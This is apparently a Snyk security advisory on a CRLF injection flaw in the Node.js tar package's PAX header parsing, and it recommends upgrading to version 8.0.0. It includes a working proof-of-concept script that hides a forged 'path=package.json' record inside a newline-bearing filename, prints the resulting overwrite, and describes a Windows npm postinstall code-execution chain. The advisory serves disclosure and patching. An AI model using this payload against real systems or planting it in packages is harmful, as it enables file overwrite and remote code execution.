Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 8.0.0 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to CRLF Injection via parseKV in src/pax.ts, which splits PAX extended-header records on newline characters rather than by their declared byte length. An attacker who can embed a newline in any PAX field value - either by crafting an archive directly or by planting a filename containing a newline into a directory that is subsequently archived - causes the parser to treat bytes after the embedded newline as an independent PAX record. This allows forging arbitrary PAX attributes (path, linkpath, size, uid, and others) for an extracted entry, overriding the genuine header-derived values via Object.assign in ReadEntry#slurp. The highest-impact consequence is a path overwrite: an entry's path is rewritten to an attacker-chosen location, writing file content outside the intended extraction directory. On Windows, when used via npm install with strip: 1, this overwrites the installed package's package.json and executes an injected postinstall script, achieving remote code execution.
PoC bundle (zip): https://github.com/user-attachments/files/33712230/poc-bundle.zip — contains (A) the self-contained POSIX repro, (B) the real-Windows npm RCE kit (build.js + crafted evil-pkg-1.0.0.tgz + poc.ps1), and a win32 strip-bypass simulation.
(A) Extraction, no strip (POSIX & Windows) — path overwrite. A file named é\n21 path=package.json\n is placed in safe/, packed with prefix: 'bundle'. The real entry path is bundle/safe/é..., but the forged path=package.json record overrides it, so extraction writes package.json at the extraction root, escaping the bundle/safe/ prefix and overwriting a pre-existing package.json:
--- archive entries (as parsed) ---
"bundle/safe/" Directory
"bundle/safe/normal.txt" File
"package.json" File <-- forged, escaped the prefix
--- result ---
out/package.json = "PWNED-BY-ATTACKER ..."
*** VULNERABLE: package.json was overwritten ***
Minimal script (run against dist/ of current HEAD):
const fs = require('fs'), path = require('path'), tar = require('tar')
const root = '/tmp/poc', src = path.join(root,'src'), out = path.join(root,'out')
fs.rmSync(src,{recursive:true,force:true}); fs.rmSync(out,{recursive:true,force:true})
fs.mkdirSync(path.join(src,'safe'),{recursive:true}); fs.mkdirSync(out,{recursive:true})
fs.writeFileSync(path.join(out,'package.json'),'ORIGINAL-CONTENT')
fs.writeFileSync(path.join(src,'safe','é\n21 path=package.json\n'),'PWNED-BY-ATTACKER')
;(async () => {
await tar.c({ file: path.join(root,'pkg.tar'), cwd: src, prefix: 'bundle' }, ['safe'])
await tar.x({ file: path.join(root,'pkg.tar'), cwd: out })
console.log('out/package.json =', fs.readFileSync(path.join(out,'package.json'),'utf8'))
})()
(B) npm install on Windows — postinstall RCE. With npm's strip: 1, the Windows-only normalizeWindowsPath turns an injected x\package.json into two components x/package.json; strip:1 removes x, leaving package.json, which overwrites the installed package's package.json and runs its injected postinstall. Verified on Windows Server 2022, Node v22.14.0, npm 10.9.2 — npm install completed and ran a postinstall that was not present in the published package.json, writing an arbitrary file. (On POSIX, \ is a normal filename byte and the injected value cannot contain /, so npm's strip:1 happens to reduce it to empty — POSIX+npm is incidentally safe; direct node-tar use without strip is not.)
Note: The PoC states it should be run against the dist/ of current HEAD on a POSIX or Windows system with no specific runtime version required for part A, and part B was verified on Windows Server 2022, Node v22.14.0, npm 10.9.2.